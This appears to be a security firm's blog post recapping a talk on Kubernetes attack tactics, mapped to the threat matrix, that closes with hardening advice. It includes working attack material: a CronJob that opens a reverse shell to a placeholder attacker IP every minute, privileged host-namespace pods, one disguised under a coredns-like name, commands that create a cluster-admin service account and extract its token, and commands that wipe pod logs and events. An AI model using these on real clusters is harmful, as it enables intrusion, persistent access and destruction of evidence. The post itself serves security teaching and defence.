The idea for the talk came via a discussion we had internally at Kloudle when brainstorming on the different approaches that an attacker would use in an attempt to gain access to a Kubernetes cluster and what they would do when they have “Attacker in a Pod” level access.
Some of the questions we posed to each other were
We imagined an attacker employing different tactics and techniques when attacking a Kubernetes cluster and created this talk with real world examples to support our story.
Here are all the slides from the KubeSec Enterprise Online talk presented virtually on 18th March 2021.
This blog post takes you through the slides and expands on the topics covered in the talk along with additional commentary around the content.
Every organization knows they have visible assets exposed to the Internet. Very few organizations are aware that they have far more assets of interest and information that can be abused by attackers, exposed to the world. We looked at a (small and non-exhaustive) list of data points that can be used in the information gathering phase of an attack.
In my experience as a penetration tester, a lot of data (sometimes connected together) can lead to attackers gaining a foot in the door and subsequent platforms to launch additional attacks.
An example, from the list that I mentioned was the prevalence of metadata inside documents hosted on the Internet. A PDF file for example, will (unless scrubbed) could have the system username of the creator, software that was used to create the PDF file etc.
Another common example we see is how developer’s tend to commit secrets, configuration data, host and internal system information etc. in code repos that remain in commit history unless the repo is rebased.
The claim was not theoretical as examples of common Kubernetes related data was show using the following slides
A screenshot from Shodan.io searching for the “X-Kubernetes-Pf-Flowschema-Uid” header, showing reachable Kuberentes dashboards
A screenshot from GrayHatWarfare searching for the deployment yaml files, potentially containing kubernetes related data
A screenshot from Github showing the vim_settings.xml file also committed. This file is known to contain base64 encoded tokens, secrets, settings etc. for the Intellij IDEA Java IDE
Regardless of motive or skill, most attackers follow a semi structured set of Tactics towards attacking. These set of Tactics act as milestones and have various techniques under each of them by which the Tactic is fulfilled.
These Tactics generally align with the following
MITRE ATT&CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. They have published multiple Threat Matrices for various technology verticals which are used globally to describe attacker Tactics, Techniques and Procedures
The Threat Matrix describes Tactics, Techniques and Procedures (TTPs) for technologies like Windows, Linux, AWS, GCP, Azure, Android, iOS etc. and can be used by both offensive security folks to plan test cases and defenders to identify attack paths that the bad guys will take.
Based on the MITRE ATT&CK Threat Matrix, Microsoft created a similar framework for Kubernetes
For each of the Tactic that the Threat Matrix covers, we took examples from real world assessments, breaches, proof of concept setups and real world configurations and mapped them to the framework.
We have covered the Kubernetes ATT&CK framework extensively via a 9 part blog series, which you can start here -Part 1: Mapping the MITRE ATT&CK framework to your Kubernetes cluster: Initial Access.
The presentation contains additional information and real world data that was not covered in the blog posts.
The _Exposed Dashboard is a technique covered under Initial Access that covers the exposure of the Kubernetes dashboard (not installed by default) to the attacker. If accessible to the attacker, this allows for potential cluster management and configuration updates.
The screenshot shown in the slide is of a Kubernetes Dashboard belonging to Tesla which was discovered by a security company. The discovery led to another startling discovery where the Kubernetes cluster was found to be running crypto-mining workloads as the attackers had already made their way to the Impact Tactic of the Threat Matrix.
This slide is another example of a technique that attackers often use, especially if the cluster exposes workloads to the attacker via services. An application running within the cluster and exposed to the attacker, if vulnerable, could lead to the attacker gaining file read/write capabilities, ability to make server-side network requests or the ability to execute arbitrary commands.
The screenshot shows a very popular HackerOne bug report that allowed the bug reporter to extract the certificates required for authenticating with the Kubernetes API server using which the bug reporter was able to gain root shell access to one of the containers within the cluster.
There are multiple other techniques covered in the Threat Matrix, some of which are explained below
The next Tactic covers techniques that describe what attackers do to execute code. The example that we covered was the launch of a new container. In this case, the container was a privileged container that allows access to the underlying nodes network and process namespaces.
The Pod yaml shown in the slide is given here and can be used to launch a new privileged container within Kubernetes
apiVersion: v1
kind: Pod
metadata:
name: coredns-74ff55c5b-a932b
labels:
app: coredns-74ff55c5b-a932b
spec:
containers:
- image: coredns-74ff55c5b-a932b
command:
- "sleep"
- "3600"
imagePullPolicy: IfNotPresent
name: coredns-74ff55c5b-a932b
securityContext:
capabilities:
add: ["NET_RAW", "NET_ADMIN", "SYS_ADMIN"]
runAsUser: 0
restartPolicy: Never
hostNetwork: true
hostPID: true
hostIPC: trueOther techniques within Execution tactic include exec’ing into an existing container, an application vulnerability that results in a shell or code execution at the OS level or rarely gaining access to a SSH server running inside a container.
The next Tactic covers techniques that allow the attacker to “persist” within the target cluster. Although not exhaustive, the techniques covered here do allow an attacker to plant their feet within the cluster and use the new setup access to continue working within the cluster.
The example that was covered in the slides was the usage of a Kubernetes Cronjob that will at periodic intervals attempt to send a reverse shell to the attacker IP.
The following yaml was used to create the Kubernetes cronjob that would give you a reverse shell every minute. So if a connection drops or the shell is killed, a new shell will be connected at the end of a minute.
Replace the attacker-ip with the IP address where netcat is listening on port 9091. You can change the port number as well if you would like.
apiVersion: batch/v1beta1
kind: CronJob
metadata:
name: jobshell
spec:
schedule: "*/1 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: coredns-74ff55c5b-a932b
image: coredns-74ff55c5b-a932b
imagePullPolicy: IfNotPresent
command:
- bash
- -c
- "bash -i >& /dev/tcp/attacker-ip/9091 0>&1"
restartPolicy: OnFailureAttackers can use various other techniques to remain hidden within the cluster, some other techniques are highlighted in the next slide.
Once attackers have gained code execution capabilities, attacker can choose to persist by performing out of band attacks as well like adding an SSH key to the underlying host, create shadow admin users and roles, update app code to provide shell access to containers, reuse secrets and tokens from Secrets and ConfigMaps or add a backdoor binary to running containers after gaining exec.
In my Opinion, attackers like to persist in most networks for the thrill of seeing how long it takes for owners to boot them out, to use the network as a means of a further attack/abuse or as a symbolic trophy in their “pwned” collection.
The next Tactic is that of Privilege Escalation. Attackers are constantly on the lookout for mis-configurations, overly permissive policies or credentials that can help them impersonate another user, or even better a higher privilege user.
The example that we covered was that of Cluster-admin binding. In Kubernetes, a cluster-admin has the ability to administer the entire cluster and is considered to be the highest privilege user. The cluster-admin clusterrolebinding is used to map a user to the cluster-admin clusterrole privilege.
We enumerate all users to whom a clusterrolebinding is bound and look at the one’s that have the cluster-admin clusterrole using the following command
kubectl get clusterrolebindings -o=custom-columns=NAME:.metadata.name,BINDING:.roleRef.name —sort-by=.roleRef.name
An attacker can then choose to discover the token for the listed clusterroles or attempt to create a new serviceaccount that will have the clusterrolebinding bound to it.
The following set of commands is used to create a serviceaccount called cluster-sa in the kube-system namespace and then bind it to a cluster-admin clusterrolebinding.
kubectl -n kube-system create serviceaccount cluster-sa
kubectl create clusterrolebinding cluster-sa —clusterrole cluster-admin —serviceaccount=kube-system:cluster-sa
SECRET=$(kubectl get sa cluster-sa -n kube-system -o jsonpath={.secrets[].name})
kubectl get secret $SECRET -n kube-system -o jsonpath={.data.token} | base64 -d
An administrative API request can be made to the API server using the obtained JWT token.
To be able to ensure they remain stealthy, inflict maximum damage, access protected resources or to even evade defenses, escalation to a user with higher privileges is a sure way of completing attacker objectives.
Some other commonly applied techniques are the reading and reuse of credential information, using the mapped service token mounted at /run/secrets/kubernetes.io/serviceaccount/token, identifying privileged containers to gain access to underlying nodes and the leaking of secrets through metadata endpoint and cloud platform service accounts.
This tactic comes into play when attackers are attempting to hide their presence and malicious activity within the cluster.
The example that we covered was that of a non-destructive technique in which attackers choose to use the naming convention of legitimate workloads to create malicious pods that have similar sounding names.
In the yaml that was shown on the slide had a name that was very similar to the naming convention of the coredns deployment within the kube-system namespace.
apiVersion: v1
kind: Pod
metadata:
name: coredns-74ff55c5b-a932b
namespace: kube-system
labels:
app: coredns-74ff55c5b-a932b
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "3600"
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
capabilities:
add: ["NET_RAW", "NET_ADMIN", "SYS_ADMIN"]
runAsUser: 0
restartPolicy: Never
hostNetwork: true
hostPID: true
hostIPC: trueThe yaml can be updated to reflect an existing deployment to hide in plain sight.
The techniques covered under this tactic can be destructive as the attacker may simply choose to wipe all log information about their activities within the cluster.
For example, an attacker can perform destructive actions to clear all pod logs by deleting the contents of /var/log/pods or clear Kubernetes events using kubectl delete events -all.
Credential Access Tactic allows attackers to identify additional credentials, keys and tokens that can be misused to move laterally within the cluster or to attempt to breakout to the underlying infrastructure, be it the underlying node or the cloud platform itself.
The example that we covered from the various techniques under this tactic was the usage of the container service account mounted in each container (unless explicitly directed not to do so).
In the screenshot within the slide, an attempt is being made to access the Kubernetes API server from within a pod using the cURL command - curl https://kubernetes/api/v1 —insecure, without success.
However, when the token extracted from the mount point within the pod is used as an Authorization bearer token, the API responds to requests as the authentication requirement has now been met.
Most attackers will try and identify alternate regions, resources and networks that they can gain access to from their vantage point once they are within the cluster.
Attackers try to read and reuse secrets from the Kubernetes secrets store, service principal mounted for the cloud platform, the mount point token (whose example we saw earlier) and app credentials, tokens and keys from configMaps and pod descriptions.
The Discovery tactic covers techniques used by attackers to gather additional information from their vantage point once privilege escalation and credential access is completed.
In my opinion, the Discovery tactic is covered too late within the Threat Matrix as most attackers would perform discovery based scans, attempts to identify access etc. pretty early on in the attack chain.
The example technique that was covered in the talk was the access to the Instance Metadata API. Although, the screenshot shows the access to an Azure instance metadata endpoint, the technique is applicable to all cloud platforms.
Different instance metadata endpoints reveal different pieces of information depending on the cloud platform on which they are running.
To find additional resources that attackers can reach and exploit, various combination of techniques, some of them already covered are executed.
These include access to the Kubernetes API server, Kubelet REST API on ports 10250 and 10255, network service discovery using tools like Nmap, additional resource information obtained via access to the Kubernetes Dashboard and access to the cloud platform via credentials leaked within the cluster or via the Instance metadata endpoint.
The Lateral Movement tactic covers techniques that attackers use to move laterally to a different resource or escape the cluster into the cloud platform itself.
The example we covered was the access to the Kubernetes dashboard that allows an attacker to move to any container within the cluster (based on access) and from there moving on to the underlying node or the cloud platform via privileged pods, service principals and instance metadata credentials.
All the techniques covered under the Lateral Movement tactic have been covered under various other tactics so far, except the Helm Tiller endpoint technique.
Older versions of Helm (up to v2) had a server side component called Tiller which exposed an API endpoint that could be accessed without authentication on port 44134. This could be used to make a request to install resources using the helm client as shown below
_helm --host tiller-deploy.kube-system:44134 install <packagename>The last tactic in the Kubernetes Threat Matrix is the Impact tactic. The techniques covered under here simply describe the actions that an attacker takes that describe the attacker’s objectives.
In the example covered in the talk, we looked at a screenshot of the Kubernetes Dashboard which showed the hijacking of a cluster belonging to Tesla to run cryptomining workloads.
The techniques under the Impact tactic are used to describe the final objective of an attacker in the attack chain.
Some of the documented techniques include data destruction by rolling back deployments, deleting volumes and claims, altering the state of the cluster to create a Denial of Service condition (remove or alteration of configuration data for example).
The last leg of the talk covers tips and hardening tricks that can be employed to reduce the cluster’s attack surface and improve the attack repelling capabilities of the components.
Quick things to note
I ended the talk with one of my favorite Dilbert comics. Technical solutions need careful planning, inspection and implementation. New technology is not a panacea for problem solving.
Understanding how attackers move across different tactics using the Threat Matrix as a reference gives us a clear picture of what to expect when they do come calling. In the talk we covered examples of multiple techniques that attackers use in the real world to go from Initial Access, all the way to the Impact tactic.
We ended the talk with a section on Tips and Tricks that can be used to keep the cluster secure. The tips stem from ensuring software is up to date, mis-configurations are weeded out, practicing defense in depth, principles of least privileges, scanning of images and running compliance checks. Collectivity minimizing the attack surface alongside this guidance is a good overall strategy.